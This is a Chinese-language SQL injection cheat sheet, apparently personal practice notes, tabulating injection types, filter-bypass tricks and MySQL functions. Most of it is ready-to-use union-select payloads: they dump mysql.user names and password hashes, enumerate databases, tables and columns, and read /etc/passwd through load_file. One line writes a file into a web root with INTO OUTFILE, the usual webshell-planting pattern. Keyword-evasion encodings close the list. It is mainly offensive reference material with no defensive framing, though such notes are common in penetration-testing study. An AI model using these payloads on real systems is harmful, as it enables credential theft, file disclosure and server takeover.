在不断实践中经常遇到如下注入类型,总结了一些笔记
注入类型 | 条件 | 关键 |
---|---|---|
union注入 | 显示查询结果 | order by , union select |
布尔注入 | 只返回False或者True | length、ord函数、二分法 |
报错注入 | 返回错误信息 | updatexml、group_concat等函数 |
时间盲注 | 无返回信息判断可执行sleep | sleep、if等函数 |
宽字节注入 | 数据库为GBK编码、使用了addslashes函数转义 | %df'可以吃掉单引号 |
堆叠注入 | 执行多条查询语句 | 使用分号分隔多条查询语句 |
Cookie注入 | 在请求头中cookie参数异常 | 可用 sqlmap -r cook.txt - p 参数 |
base64注入 | 有base64编码过的参数 | 将payload进行base64编码,可用tamper |
XFF注入 | PHP中有getenv函数获取环境配置 | x-forward-for、http_client_ip等请求头参数 |
二次注入 | 用户注册功能等 | 在注册中插入恶意代码,在登录中执行 |
绕过方式 | 绕过技巧 |
---|---|
大小写绕过 | 关键字未过滤大小写混写的情况,如UniON SEleCt |
双写绕过 | 关键字仅做替换的情况,可双写替换成需要的语句。如seleselectct替换为select |
编码绕过 | 未对编码过滤,可进行url、ascil等常用的编码payload |
内联注释绕过 | /!and/ |
函数名称 | 作用 |
---|---|
addslashes($string) | 用反斜线引用字符串中的特殊字符' " \ |
mysql_escape_string($string) | 用反斜杠转义字符串中的特殊字符,用于mysql_query()查询 |
mysql_real_escape_string($string) | 转义SQL语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集,需要保证当前是连接状态才能用该函数,否则会报警告。不转义%与_ |
函数名称 | 作用 |
---|---|
group_concat | 可以把查询的内容组合成一个字符串 |
load_file(file name ) | 读取文件并将文件按字符串返回 |
left(string,length) | 返回最左边指定的字符数:left(database(),1)>’s’ (猜名字) |
length() | 判断长度length(database()>5 |
substr(a,b,c) | 从字符串a中截取 b到c长度 |
ascii() | 将某个字符转为ascii值ascii(substr(user(),1,1))=101# |
mid(a,b,c) | 从字符串a中截取 b到c位置(可以用来猜数据库名 ) |
变量 | 返回结果 |
---|---|
database | 数据库名 |
version | 数据库版本号 |
user | 数据库当前用户名 |
@@basedir | 数据库安装路径 |
@@version_compile_os | 数据库操作系统 |
union select 1,(select user())–+
union select 1,(select version())–+
union select 1,(select database())–+
union select 1,(select @@version_compile_os)–+
union select 1,(select group_concat(user) from mysql.user)–+
union select 1,(select group_concat(password) from mysql.user where user=’root’)
union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+
union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=’库名’)–+ union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=’库名’
union select 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=’表名’)–+
union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’表名’ and table_schema=’库名’)–+
union select 1,(SELECT load_file(‘/etc/passwd’))–+
union select 1,’‘ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+
符号名 | 绕过方法 |
---|---|
空格 | %09 %0a %A0 %20 /**/ |
注释符 | -- - /* .... */ # ` ;%00 %23 |
union | uniounionn UNioN uni/**/on /!union/ |
select | selecselectt SeCel/**/t /!select/ |
or | oorr OR o/**/r /!or/ |
and | && anandd ANd an/**/d /!and/ |